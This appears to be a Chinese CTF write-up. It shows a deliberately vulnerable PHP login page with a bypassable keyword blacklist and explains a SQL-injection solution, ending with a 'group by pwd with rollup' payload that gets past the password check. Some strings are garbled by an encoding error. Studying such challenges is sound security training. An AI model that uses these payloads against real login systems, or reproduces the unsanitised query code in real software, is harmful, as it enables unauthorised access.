/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

/\* 程序作者：爱的伊苏 \*/

/\* 程序完成时间：2019/2/14 \*/

/\* 有任何问题请联系：740531307@qq.com \*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

//@永远得意的笑下去

首先是代码审计

<?php

error\_reporting(0);

if (!isset($\_POST['uname']) || !isset($\_POST['pwd'])) {

echo '<form action="" method="post">'."<br/>";

echo '<input name="uname" type="text"/>'."<br/>";

echo '<input name="pwd" type="text"/>'."<br/>";

echo '<input type="submit" />'."<br/>";

echo '</form>'."<br/>";

echo '<!--source: source.txt-->'."<br/>";

die;

}

function AttackFilter($StrKey,$StrValue,$ArrReq){

if (is\_array($StrValue)){

$StrValue=implode($StrValue);

}

if (preg\_match("/".$ArrReq."/is",$StrValue)==1){

print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";

exit();

}

}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";

foreach($\_POST as $key=>$value){

AttackFilter($key,$value,$filter);

}

$con = mysql\_connect("XXXXXX","XXXXXX","XXXXXX");

if (!$con){

die('Could not connect: ' . mysql\_error());

}

$db="XXXXXX";

mysql\_select\_db($db, $con);

$sql="SELECT \* FROM interest WHERE uname = '{$\_POST['uname']}'";

$query = mysql\_query($sql);

if (mysql\_num\_rows($query) == 1) {

$key = mysql\_fetch\_array($query);

if($key['pwd'] == $\_POST['pwd']) {

print "CTF{XXXXXX}";

}else{

print "浜﹀彲璧涜墖锛�";

}

}else{

print "涓€棰楄禌鑹囷紒";

}

mysql\_close($con);

?>

分为三部分判断条件

第一个是存在过滤关键字不能出现

从数据库返回的数据必须是一行

可以使用limit 的返回来确定数据库中总共有几行数据。

构造语句 1' or 1 limit 1 offset X*#*

*X从0开始，到2的时候返回发现变化。所以一共有两行信息*

*第三层的要求为玩家输入的密码和sql执行的返回值相同*

于是可以利用group by with rollup来绕过，group by with rollup会在统计后的产生一条null信息，然后在pwd里不写值，if就为true了

所以答案为：

1' or 1 group by pwd with rollup limit 1 offset 2#